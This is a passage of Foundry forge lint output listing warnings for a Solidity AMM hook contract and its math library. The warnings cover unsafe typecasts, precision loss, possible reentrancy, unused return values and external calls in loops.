`revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:100:32\n    │\n100 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:103:23\n    │\n103 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:247:56\n    │\n247 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:247:77\n    │\n247 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:248:44\n    │\n248 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:248:59\n    │\n248 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:279:23\n    │\n279 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:279:58\n    │\n279 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:33\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:40\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:58\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:65\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:34\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:41\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:59\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:66\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:311:30\n    │\n311 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:326:42\n    │\n326 │         if (feeWad > 0) _feeGrowth[i] += feeWad * WAD / totalRadius;\n    │                                          ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:21\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:29\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:68\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:76\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `boundaryMask` is updated\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:369:9\n    │\n369 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:370:9\n    │\n370 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:355:38\n    │\n355 │             if (raw > maxAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:369:9\n    │\n369 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:409:9\n    │\n409 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:410:9\n    │\n410 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:398:38\n    │\n398 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:409:9\n    │\n409 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:434:13\n    │\n434 │         if (any) {\n    │             ━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:436:13\n    │\n436 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:448:17\n    │\n448 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:859:39\n    │\n859 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n    │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:450:17\n    │\n450 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:451:17\n    │\n451 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:453:17\n    │\n453 │                 poolManager.burn(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:454:17\n    │\n454 │                 poolManager.take(c, data.account, amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:860:93\n    │\n860 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n    │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:450:17\n    │\n450 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:484:26\n    │\n484 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:606:17\n    │\n606 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:606:31\n    │\n606 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:669:64\n    │\n669 │             boundary = OrbitalMath.alphaIntNorm(s, sqrtN, c) > int256(lv[l].kNorm);\n    │                                                                ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:694:26\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:694:66\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:697:58\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                          ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:28\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:44\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:61\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                                             ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:75\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                                                           ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:19\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:66\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:105\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:29\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:58\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                          ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:79\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                                               ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:698:19\n    │\n698 │             val = int256(_x[k]) - xBound;\n    │                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:20\n    │\n700 │             return uint256(val) * radius / c.r;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:702:26\n    │\n702 │         return val > 0 ? uint256(val) : 0;\n    │                          ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:746:23\n    │\n746 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:170:68\n    │\n170 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: 